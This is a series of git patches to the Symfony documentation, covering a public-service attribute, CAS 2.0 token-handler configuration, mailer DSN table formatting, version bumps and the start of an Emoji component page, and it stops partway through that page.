From d09cf034f6a5cfe110fb2b35b670a3d2060c87a2 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20ADAM?= <aurelien.adam@adveris.fr> Date: Sat, 22 Apr 2023 16:13:04 +0200 Subject: [PATCH 001/615] [DI] Mark service as public with #[Autoconfigure] attribute --- service_container.rst | 20 ++++++++++++++++++++ service_container/alias_private.rst | 20 ++++++++++++++++++++ 2 files changed, 40 insertions(+) diff --git a/service_container.rst b/service_container.rst index 47a421f1345..cdda1155344 100644 --- a/service_container.rst +++ b/service_container.rst @@ -927,6 +927,26 @@ setting: ; }; +It is also possible to define a service as public thanks to the ``#[Autoconfigure]`` +attribute. This attribute must be used directly on the class of the service +you want to configure:: + + // src/Service/PublicService.php + namespace App\Service; + + use Symfony\Component\DependencyInjection\Attribute\Autoconfigure; + + #[Autoconfigure(public: true)] + class PublicService + { + // ... + } + +.. versionadded:: 5.3 + + The ``#[Autoconfigure]`` attribute was introduced in Symfony 5.3. PHP + attributes require at least PHP 8.0. + .. deprecated:: 5.1 As of Symfony 5.1, it is no longer possible to autowire the service diff --git a/service_container/alias_private.rst b/service_container/alias_private.rst index 44a8492a53d..fc8bfa0f432 100644 --- a/service_container/alias_private.rst +++ b/service_container/alias_private.rst @@ -62,6 +62,26 @@ You can also control the ``public`` option on a service-by-service basis: ->public(); }; +It is also possible to define a service as public thanks to the ``#[Autoconfigure]`` +attribute. This attribute must be used directly on the class of the service +you want to configure:: + + // src/Service/Foo.php + namespace App\Service; + + use Symfony\Component\DependencyInjection\Attribute\Autoconfigure; + + #[Autoconfigure(public: true)] + class Foo + { + // ... + } + +.. versionadded:: 5.3 + + The ``#[Autoconfigure]`` attribute was introduced in Symfony 5.3. PHP + attributes require at least PHP 8.0. + .. _services-why-private: Private services are special because they allow the container to optimize whether From b97c890d7703fec20735aacd3c7d4c2dc1fc1193 Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Wed, 31 Jan 2024 22:44:02 +0100 Subject: [PATCH 002/615] [Frontend] Some smaller updates * **Please move this page out of the `/encore/` structure!** This is general info that also applies to *any* JavaScript. * I removed jQuery cause I think it shouldn't be advertised anymore today. --- frontend/encore/server-data.rst | 22 +++++++++------------- 1 file changed, 9 insertions(+), 13 deletions(-) diff --git a/frontend/encore/server-data.rst b/frontend/encore/server-data.rst index 46492700923..3feff856c52 100644 --- a/frontend/encore/server-data.rst +++ b/frontend/encore/server-data.rst @@ -1,9 +1,9 @@ -Passing Information from Twig to JavaScript with Webpack Encore -=============================================================== +Passing Information from Twig to JavaScript +=========================================== In Symfony applications, you may find that you need to pass some dynamic data (e.g. user information) from Twig to your JavaScript code. One great way to pass -dynamic configuration is by storing information in ``data`` attributes and reading +dynamic configuration is by storing information in ``data-*`` attributes and reading them later in JavaScript. For example: .. code-block:: html+twig @@ -20,22 +20,18 @@ Fetch this in JavaScript: .. code-block:: javascript document.addEventListener('DOMContentLoaded', function() { - var userRating = document.querySelector('.js-user-rating'); - var isAuthenticated = userRating.dataset.isAuthenticated; - var user = JSON.parse(userRating.dataset.user); - - // or with jQuery - //var isAuthenticated = $('.js-user-rating').data('isAuthenticated'); + const userRating = document.querySelector('.js-user-rating'); + const isAuthenticated = userRating.dataset.isAuthenticated; + const user = JSON.parse(userRating.dataset.user); }); .. note:: When `accessing data attributes from JavaScript`_, the attribute names are - converted from dash-style to camelCase. For example, ``data-is-authenticated`` - becomes ``isAuthenticated`` and ``data-number-of-reviews`` becomes - ``numberOfReviews``. + converted from dash-style to camelCase. For example, ``data-number-of-reviews`` becomes + ``dataset.numberOfReviews``. -There is no size limit for the value of the ``data-`` attributes, so you can +There is no size limit for the value of the ``data-*`` attributes, so you can store any content. In Twig, use the ``html_attr`` escaping strategy to avoid messing with HTML attributes. For example, if your ``User`` object has some ``getProfileData()`` method that returns an array, you could do the following: From c881eab2864a24d9ec567d06630eeaa2d6331373 Mon Sep 17 00:00:00 2001 From: Antoine Lamirault <lamiraultantoine@gmail.com> Date: Thu, 8 Feb 2024 19:55:50 +0100 Subject: [PATCH 003/615] [Security] add CAS 2.0 AccessToken handler --- security/access_token.rst | 188 +++++++++++++++++++++++++++++++++++++- 1 file changed, 185 insertions(+), 3 deletions(-) diff --git a/security/access_token.rst b/security/access_token.rst index 29fbfbc8bb6..83e33bae901 100644 --- a/security/access_token.rst +++ b/security/access_token.rst @@ -697,6 +697,187 @@ create your own User from the claims, you must } } +Using CAS 2.0 +------------- + +`Central Authentication Service (CAS)`_ is an enterprise multilingual single +sign-on solution and identity provider for the web and attempts to be a +comprehensive platform for your authentication and authorization needs. + +Configure the Cas2Handler +~~~~~~~~~~~~~~~~~~~~~~~~~ + +Symfony provides a generic ``Cas2Handler`` to call your CAS server. It requires +the ``symfony/http-client`` package to make the needed HTTP requests. If you +haven't installed it yet, run this command: + +.. code-block:: terminal + + $ composer require symfony/http-client + +You can configure a ``cas`` ``token_handler``: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + access_token: + token_handler: + cas: + validation_url: https://www.example.com/cas/validate + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <access-token> + <token-handler> + <cas validation-url="https://www.example.com/cas/validate"/> + </token-handler> + </access-token> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security) { + $security->firewall('main') + ->accessToken() + ->tokenHandler() + ->cas() + ->validationUrl('https://www.example.com/cas/validate') + ; + }; + +The ``cas`` token handler automatically creates an HTTP client to call +the specified ``validation_url``. If you prefer using your own client, you can +specify the service name via the ``http_client`` option: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + access_token: + token_handler: + cas: + validation_url: https://www.example.com/cas/validate + http_client: cas.client + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <access-token> + <token-handler> + <cas validation-url="https://www.example.com/cas/validate" http-client="cas.client"/> + </token-handler> + </access-token> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security) { + $security->firewall('main') + ->accessToken() + ->tokenHandler() + ->cas() + ->validationUrl('https://www.example.com/cas/validate') + ->httpClient('cas.client') + ; + }; + +By default the token handler will read the validation URL XML response with + ``cas`` prefix but you can configure another prefix: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + firewalls: + main: + access_token: + token_handler: + cas: + validation_url: https://www.example.com/cas/validate + prefix: cas-example + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8"?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <firewall name="main"> + <access-token> + <token-handler> + <cas validation-url="https://www.example.com/cas/validate" prefix="cas-example"/> + </token-handler> + </access-token> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security) { + $security->firewall('main') + ->accessToken() + ->tokenHandler() + ->cas() + ->validationUrl('https://www.example.com/cas/validate') + ->prefix('cas-example') + ; + }; + Creating Users from Token ------------------------- @@ -727,8 +908,9 @@ need a user provider to create a user from the database:: When using this strategy, you can omit the ``user_provider`` configuration for :ref:`stateless firewalls <reference-security-stateless>`. +.. _`Central Authentication Service (CAS)`: https://en.wikipedia.org/wiki/Central_Authentication_Service .. _`JSON Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519 -.. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html -.. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750 -.. _`OpenID Connect Specification`: https://openid.net/specs/openid-connect-core-1_0.html .. _`OpenID Connect (OIDC)`: https://en.wikipedia.org/wiki/OpenID#OpenID_Connect_(OIDC) +.. _`OpenID Connect Specification`: https://openid.net/specs/openid-connect-core-1_0.html +.. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750 +.. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html From c9b28f5982469f06840a5038a9d7003a4df1ef6f Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Thu, 15 Feb 2024 21:40:47 +0100 Subject: [PATCH 004/615] [AssetMapper] Adding infos to be forwarded to package maintainers in case of error Page: https://symfony.com/doc/6.4/frontend/asset_mapper.html#importing-3rd-party-javascript-packages Closes https://github.com/symfony/symfony-docs/issues/19558 --- frontend/asset_mapper.rst | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst index 110a14d69e0..2df223a779a 100644 --- a/frontend/asset_mapper.rst +++ b/frontend/asset_mapper.rst @@ -188,6 +188,11 @@ to add any `npm package`_: $ php bin/console importmap:require bootstrap +.. note:: + + If you're getting a 404 error, you can contact the package maintainer and ask them to + include `"main":` and `"module":` to the package's `package.json`. + This adds the ``bootstrap`` package to your ``importmap.php`` file:: // importmap.php @@ -207,6 +212,8 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file:: such as ``@popperjs/core``. The ``importmap:require`` command will add both the main package *and* its dependencies. If a package includes a main CSS file, that will also be added (see :ref:`Handling 3rd-Party CSS <asset-mapper-3rd-party-css>`). + If the associated CSS file isn't added to the importmap, you can contact the package + maintainer and ask them to include `"style":` to the package's `package.json`. Now you can import the ``bootstrap`` package like usual: From 55616d8d0e8d689e5bacb571afb325e15089d71d Mon Sep 17 00:00:00 2001 From: Neil Peyssard <neil.peyssard@sensiolabs.com> Date: Mon, 4 Mar 2024 09:47:16 +0100 Subject: [PATCH 005/615] [HttpKernel] Explain how to define default value in MapQueryString --- controller.rst | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/controller.rst b/controller.rst index 40ed6bfc07f..6bd1b4184da 100644 --- a/controller.rst +++ b/controller.rst @@ -451,6 +451,24 @@ HTTP status to return if the validation fails:: The default status code returned if the validation fails is 404. +If the request query string is empty and if you still need to have a valid DTO, you can +define a default value in your controller method:: + + use App\Model\UserDto; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\HttpKernel\Attribute\MapQueryString; + + // ... + + public function dashboard( + #[MapQueryString] UserDTO $userDto = new UserDTO() + ): Response + { + // ... + } + +In this case your DTO should have default values. + .. versionadded:: 6.3 The :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString` attribute From aef4f7426a77d8a55aa2f7536ad9218b33ed340f Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Tue, 5 Mar 2024 12:03:47 +0100 Subject: [PATCH 006/615] format dsn in translation documentation --- translation.rst | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/translation.rst b/translation.rst index db44c43e568..412d3aa3c5e 100644 --- a/translation.rst +++ b/translation.rst @@ -632,13 +632,13 @@ pull translations via Loco. The *only* part you need to change is the This table shows the full list of available DSN formats for each provider: -===================== ========================================================== +===================== ============================================================== Provider DSN -===================== ========================================================== -Crowdin crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default -Loco (localise.biz) loco://API_KEY@default -Lokalise lokalise://PROJECT_ID:API_KEY@default -===================== ========================================================== +===================== ============================================================== +Crowdin ``crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default`` +Loco (localise.biz) ``loco://API_KEY@default`` +Lokalise ``lokalise://PROJECT_ID:API_KEY@default`` +===================== ============================================================== To enable a translation provider, customize the DSN in your ``.env`` file and configure the ``providers`` option: From 93a3d050d6b8cd5f255d76f023e5a3ba5d37279f Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Tue, 5 Mar 2024 12:07:35 +0100 Subject: [PATCH 007/615] format dsn in mailer documentation --- mailer.rst | 102 ++++++++++++++++++++++++++--------------------------- 1 file changed, 51 insertions(+), 51 deletions(-) diff --git a/mailer.rst b/mailer.rst index 527fa3d3871..be404a134ab 100644 --- a/mailer.rst +++ b/mailer.rst @@ -173,57 +173,57 @@ transport, but you can force to use one: This table shows the full list of available DSN formats for each third party provider: -+------------------------+-----------------------------------------------------+ -| Provider | Formats | -+========================+=====================================================+ -| `Amazon SES`_ | - SMTP ses+smtp://USERNAME:PASSWORD@default | -| | - HTTP ses+https://ACCESS_KEY:SECRET_KEY@default | -| | - API ses+api://ACCESS_KEY:SECRET_KEY@default | -+------------------------+-----------------------------------------------------+ -| `Brevo`_ | - SMTP brevo+smtp://USERNAME:PASSWORD@default | -| | - HTTP n/a | -| | - API brevo+api://KEY@default | -+------------------------+-----------------------------------------------------+ -| `Google Gmail`_ | - SMTP gmail+smtp://USERNAME:APP-PASSWORD@default | -| | - HTTP n/a | -| | - API n/a | -+------------------------+-----------------------------------------------------+ -| `Infobip`_ | - SMTP infobip+smtp://KEY@default | -| | - HTTP n/a | -| | - API infobip+api://KEY@BASE_URL | -+------------------------+-----------------------------------------------------+ -| `Mandrill`_ | - SMTP mandrill+smtp://USERNAME:PASSWORD@default | -| | - HTTP mandrill+https://KEY@default | -| | - API mandrill+api://KEY@default | -+------------------------+-----------------------------------------------------+ -| `MailerSend`_ | - SMTP mailersend+smtp://KEY@default | -| | - HTTP n/a | -| | - API mailersend+api://KEY@BASE_URL | -+------------------------+-----------------------------------------------------+ -| `Mailgun`_ | - SMTP mailgun+smtp://USERNAME:PASSWORD@default | -| | - HTTP mailgun+https://KEY:DOMAIN@default | -| | - API mailgun+api://KEY:DOMAIN@default | -+------------------------+-----------------------------------------------------+ -| `Mailjet`_ | - SMTP mailjet+smtp://ACCESS_KEY:SECRET_KEY@default | -| | - HTTP n/a | -| | - API mailjet+api://ACCESS_KEY:SECRET_KEY@default | -+------------------------+-----------------------------------------------------+ -| `MailPace`_ | - SMTP mailpace+api://API_TOKEN@default | -| | - HTTP n/a | -| | - API mailpace+api://API_TOKEN@default | -+------------------------+-----------------------------------------------------+ -| `Postmark`_ | - SMTP postmark+smtp://ID@default | -| | - HTTP n/a | -| | - API postmark+api://KEY@default | -+------------------------+-----------------------------------------------------+ -| `Scaleway`_ | - SMTP scaleway+smtp://PROJECT_ID:API_KEY@default | -| | - HTTP n/a | -| | - API scaleway+api://PROJECT_ID:API_KEY@default | -+------------------------+-----------------------------------------------------+ -| `Sendgrid`_ | - SMTP sendgrid+smtp://KEY@default | -| | - HTTP n/a | -| | - API sendgrid+api://KEY@default | -+------------------------+-----------------------------------------------------+ ++------------------------+---------------------------------------------------------+ +| Provider | Formats | ++========================+=========================================================+ +| `Amazon SES`_ | - SMTP ``ses+smtp://USERNAME:PASSWORD@default`` | +| | - HTTP ``ses+https://ACCESS_KEY:SECRET_KEY@default`` | +| | - API ``ses+api://ACCESS_KEY:SECRET_KEY@default`` | ++------------------------+---------------------------------------------------------+ +| `Brevo`_ | - SMTP ``brevo+smtp://USERNAME:PASSWORD@default`` | +| | - HTTP n/a | +| | - API ``brevo+api://KEY@default`` | ++------------------------+---------------------------------------------------------+ +| `Google Gmail`_ | - SMTP ``gmail+smtp://USERNAME:APP-PASSWORD@default`` | +| | - HTTP n/a | +| | - API n/a | ++------------------------+---------------------------------------------------------+ +| `Infobip`_ | - SMTP ``infobip+smtp://KEY@default`` | +| | - HTTP n/a | +| | - API ``infobip+api://KEY@BASE_URL`` | ++------------------------+---------------------------------------------------------+ +| `Mandrill`_ | - SMTP ``mandrill+smtp://USERNAME:PASSWORD@default`` | +| | - HTTP ``mandrill+https://KEY@default`` | +| | - API ``mandrill+api://KEY@default`` | ++------------------------+---------------------------------------------------------+ +| `MailerSend`_ | - SMTP ``mailersend+smtp://KEY@default`` | +| | - HTTP n/a | +| | - API ``mailersend+api://KEY@BASE_URL`` | ++------------------------+---------------------------------------------------------+ +| `Mailgun`_ | - SMTP ``mailgun+smtp://USERNAME:PASSWORD@default`` | +| | - HTTP ``mailgun+https://KEY:DOMAIN@default`` | +| | - API ``mailgun+api://KEY:DOMAIN@default`` | ++------------------------+---------------------------------------------------------+ +| `Mailjet`_ | - SMTP ``mailjet+smtp://ACCESS_KEY:SECRET_KEY@default`` | +| | - HTTP n/a | +| | - API ``mailjet+api://ACCESS_KEY:SECRET_KEY@default`` | ++------------------------+---------------------------------------------------------+ +| `MailPace`_ | - SMTP ``mailpace+api://API_TOKEN@default`` | +| | - HTTP n/a | +| | - API ``mailpace+api://API_TOKEN@default`` | ++------------------------+---------------------------------------------------------+ +| `Postmark`_ | - SMTP ``postmark+smtp://ID@default`` | +| | - HTTP n/a | +| | - API ``postmark+api://KEY@default`` | ++------------------------+---------------------------------------------------------+ +| `Scaleway`_ | - SMTP ``scaleway+smtp://PROJECT_ID:API_KEY@default`` | +| | - HTTP n/a | +| | - API ``scaleway+api://PROJECT_ID:API_KEY@default`` | ++------------------------+---------------------------------------------------------+ +| `Sendgrid`_ | - SMTP ``sendgrid+smtp://KEY@default`` | +| | - HTTP n/a | +| | - API ``sendgrid+api://KEY@default`` | ++------------------------+---------------------------------------------------------+ .. versionadded:: 6.3 From 351f981b794a634f28580df8de1cddbf5f66e4f2 Mon Sep 17 00:00:00 2001 From: Valerio Colella <31210514+PrOF-kk@users.noreply.github.com> Date: Fri, 8 Mar 2024 17:56:36 +0100 Subject: [PATCH 008/615] Fix missing backtick --- mailer.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mailer.rst b/mailer.rst index 398dced44e4..8f231be4520 100644 --- a/mailer.rst +++ b/mailer.rst @@ -247,7 +247,7 @@ Provider SMTP H .. note:: The specific transports, e.g. ``mailgun+smtp`` are designed to work without any manual configuration. - Changing the port by appending it to your DSN is not supported for any of these ``<provider>+smtp` transports. + Changing the port by appending it to your DSN is not supported for any of these ``<provider>+smtp`` transports. If you need to change the port, use the ``smtp`` transport instead, like so: .. code-block:: env From effeaf7a38f949722ad319222a5c9c69d2f4c0b8 Mon Sep 17 00:00:00 2001 From: Simon <smn.andre@gmail.com> Date: Sat, 9 Mar 2024 08:55:33 +0100 Subject: [PATCH 009/615] Replace Webpack with AssetMapper --- templates.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates.rst b/templates.rst index 3ba9b9f59a5..05de5856878 100644 --- a/templates.rst +++ b/templates.rst @@ -330,7 +330,7 @@ Build, Versioning & More Advanced CSS, JavaScript and Image Handling ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ For help building, versioning and minifying your JavaScript and -CSS assets in a modern way, read about :doc:`Symfony's Webpack Encore </frontend>`. +CSS assets in a modern way, read about :doc:`Symfony's Asset Mapper </frontend>`. .. _twig-app-variable: From 826615a830fee0c70c9d1d240ba7a9ef21070008 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Mon, 11 Mar 2024 08:10:44 +0100 Subject: [PATCH 010/615] keep use statement for the Response class --- quick_tour/flex_recipes.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst index c058008b84a..856b4271205 100644 --- a/quick_tour/flex_recipes.rst +++ b/quick_tour/flex_recipes.rst @@ -80,7 +80,7 @@ Thanks to Flex, after one command, you can start using Twig immediately: namespace App\Controller; use Symfony\Component\Routing\Attribute\Route; - - use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - class DefaultController From ea8efb0d8d05684afd0bdc2ab71dfbbe014973c8 Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Mon, 11 Mar 2024 08:16:57 +0100 Subject: [PATCH 011/615] update method names to reflect latest code changes --- components/clock.rst | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/components/clock.rst b/components/clock.rst index d3879fba84e..45ec484eef5 100644 --- a/components/clock.rst +++ b/components/clock.rst @@ -238,8 +238,8 @@ The constructor also allows setting a timezone or custom referenced date:: ``DatePoint`` also allows to set and get the microsecond part of the date and time:: $datePoint = new DatePoint(); - $datePoint->setMicroseconds(345); - $microseconds = $datePoint->getMicroseconds(); + $datePoint->setMicrosecond(345); + $microseconds = $datePoint->getMicrosecond(); .. note:: @@ -248,8 +248,8 @@ The constructor also allows setting a timezone or custom referenced date:: .. versionadded:: 7.1 - The :method:`Symfony\\Component\\Clock\\DatePoint::setMicroseconds` and - :method:`Symfony\\Component\\Clock\\DatePoint::getMicroseconds` methods were + The :method:`Symfony\\Component\\Clock\\DatePoint::setMicrosecond` and + :method:`Symfony\\Component\\Clock\\DatePoint::getMicrosecond` methods were introduced in Symfony 7.1. .. _clock_writing-tests: From ba0378c100f2d41e752e9d33fa501e07439ae112 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr> Date: Mon, 11 Mar 2024 09:04:14 +0100 Subject: [PATCH 012/615] Update pull_requests.rst --- contributing/code/pull_requests.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst index 95ee6bb89a6..7b51b2ab3cb 100644 --- a/contributing/code/pull_requests.rst +++ b/contributing/code/pull_requests.rst @@ -31,7 +31,7 @@ Before working on Symfony, setup a friendly environment with the following software: * Git; -* PHP version 7.2.5 or above. +* PHP version 8.1 or above. Configure Git ~~~~~~~~~~~~~ From bbe6d9133aaaec4cf870f109b8f8c4d77e127a31 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr> Date: Mon, 11 Mar 2024 09:06:22 +0100 Subject: [PATCH 013/615] Update pull_requests.rst --- contributing/code/pull_requests.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst index 95ee6bb89a6..7c9ab2579a5 100644 --- a/contributing/code/pull_requests.rst +++ b/contributing/code/pull_requests.rst @@ -31,7 +31,7 @@ Before working on Symfony, setup a friendly environment with the following software: * Git; -* PHP version 7.2.5 or above. +* PHP version 8.2 or above. Configure Git ~~~~~~~~~~~~~ From 4b54e2c12c71439fb1046816cb78e126fa76c5b0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr> Date: Sun, 10 Mar 2024 15:39:58 +0100 Subject: [PATCH 014/615] Update contributing/code/tests.rst page --- contributing/code/tests.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst index 8bffc4aa4bc..e6af1170e3d 100644 --- a/contributing/code/tests.rst +++ b/contributing/code/tests.rst @@ -32,7 +32,7 @@ tests, such as Doctrine, Twig and Monolog. To do so, .. code-block:: terminal - $ COMPOSER_ROOT_VERSION=5.4.x-dev composer update + $ COMPOSER_ROOT_VERSION=6.4.x-dev composer update .. _running: From 075c29fa816c1a29c9d23d6418950b7e67bd2e9e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr> Date: Sun, 10 Mar 2024 15:41:43 +0100 Subject: [PATCH 015/615] Update contributing/code/tests.rst page --- contributing/code/tests.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst index e6af1170e3d..58b4aa74d61 100644 --- a/contributing/code/tests.rst +++ b/contributing/code/tests.rst @@ -32,7 +32,7 @@ tests, such as Doctrine, Twig and Monolog. To do so, .. code-block:: terminal - $ COMPOSER_ROOT_VERSION=6.4.x-dev composer update + $ COMPOSER_ROOT_VERSION=7.0.x-dev composer update .. _running: From 3b2a5bd3499315bf60e668f1bd3a9bf9dfa27758 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Mon, 11 Mar 2024 09:30:53 +0100 Subject: [PATCH 016/615] Update the test article of the contribution guide --- contributing/code/tests.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst index 58b4aa74d61..08f6bc5df12 100644 --- a/contributing/code/tests.rst +++ b/contributing/code/tests.rst @@ -32,7 +32,7 @@ tests, such as Doctrine, Twig and Monolog. To do so, .. code-block:: terminal - $ COMPOSER_ROOT_VERSION=7.0.x-dev composer update + $ COMPOSER_ROOT_VERSION=7.1.x-dev composer update .. _running: From 3a6e5ec8f484fa8fe8d57309676537bf5416241d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20Pillevesse?= <aurelienpillevesse@hotmail.fr> Date: Mon, 11 Mar 2024 09:05:39 +0100 Subject: [PATCH 017/615] Update pull_requests.rst --- contributing/code/pull_requests.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst index 7b51b2ab3cb..7c9ab2579a5 100644 --- a/contributing/code/pull_requests.rst +++ b/contributing/code/pull_requests.rst @@ -31,7 +31,7 @@ Before working on Symfony, setup a friendly environment with the following software: * Git; -* PHP version 8.1 or above. +* PHP version 8.2 or above. Configure Git ~~~~~~~~~~~~~ From 876cbc034f8a327277395d762af5dd63542259b1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com> Date: Sat, 3 Feb 2024 15:57:55 +0100 Subject: [PATCH 018/615] [Emoji] Emoji component --- components/emoji.rst | 122 +++++++++++++++++++++++++++++++++++++++++++ components/intl.rst | 57 ++++---------------- 2 files changed, 131 insertions(+), 48 deletions(-) create mode 100644 components/emoji.rst diff --git a/components/emoji.rst b/components/emoji.rst new file mode 100644 index 00000000000..b3f725a2585 --- /dev/null +++ b/components/emoji.rst @@ -0,0 +1,122 @@ +The Emoji Component +=================== + + The Emoji component provides utilities to work with emoji characters and + sequences from the `Unicode CLDR dataset`_. + +Installation +------------ + +.. code-block:: terminal + + $ composer require symfony/emoji + +.. include:: /components/require_autoload.rst.inc + + +Emoji Transliteration +--------------------- + +The ``EmojiTransliterator`` class offers a way to translate emojis into their +textual representation in all languages based on the `Unicode CLDR dataset`_:: + + use Symfony\Component\Emoji\EmojiTransliterator; + + // Describe emojis in English + $transliterator = EmojiTransliterator::create('en'); + $transliterator->transliterate('Menus with 🍕 or 🍝'); + // => 'Menus with pizza or spaghetti' + + // Describe emojis in Ukrainian + $transliterator = EmojiTransliterator::create('uk'); + $transliterator->transliterate('Menus with 🍕 or 🍝'); + // => 'Menus with піца or спагеті' + + +The ``EmojiTransliterator`` also provides special locales that convert emojis to +short codes and vice versa in specific platforms, such as GitHub and Slack. + +GitHub +~~~~~~ + +Convert GitHub emojis to short codes with the ``emoji-github`` locale:: + + $transliterator = EmojiTransliterator::create('emoji-github'); + $transliterator->transliterate('Teenage 🐢 really love 🍕'); + // => 'Teenage :turtle: really love :pizza:' + +Convert GitHub short codes to emojis with the ``github-emoji`` locale:: + + $transliterator = EmojiTransliterator::create('github-emoji'); + $transliterator->transliterate('Teenage :turtle: really love :pizza:'); + // => 'Teenage 🐢 really love 🍕' + +Slack +~~~~~ + +Convert Slack emojis to short codes with the ``emoji-slack`` locale:: + + $transliterator = EmojiTransliterator::create('emoji-slack'); + $transliterator->transliterate('Menus with 🥗 or 🧆'); + // => 'Menus with :green_salad: or :falafel:' + +Convert Slack short codes to emojis with the ``slack-emoji`` locale:: + + $transliterator = EmojiTransliterator::create('slack-emoji'); + $transliterator->transliterate('Menus with :green_salad: or :falafel:'); + // => 'Menus with 🥗 or 🧆' + + +Emoji Slugger +------------- + +Combine the emoji transliterator with the :doc:`/components/string` +to improve the slugs of contents that include emojis (e.g. for URLs). + +Call the ``AsciiSlugger::withEmoji()`` method to enable the emoji transliterator in the Slugger:: + + use Symfony\Component\String\Slugger\AsciiSlugger; + + $slugger = new AsciiSlugger(); + $slugger = $slugger->withEmoji(); + + $slug = $slugger->slug('a 😺, 🐈⬛, and a 🦁 go to 🏞️', '-', 'en'); + // $slug = 'a-grinning-cat-black-cat-and-a-lion-go-to-national-park'; + + $slug = $slugger->slug('un 😺, 🐈⬛, et un 🦁 vont au 🏞️', '-', 'fr'); + // 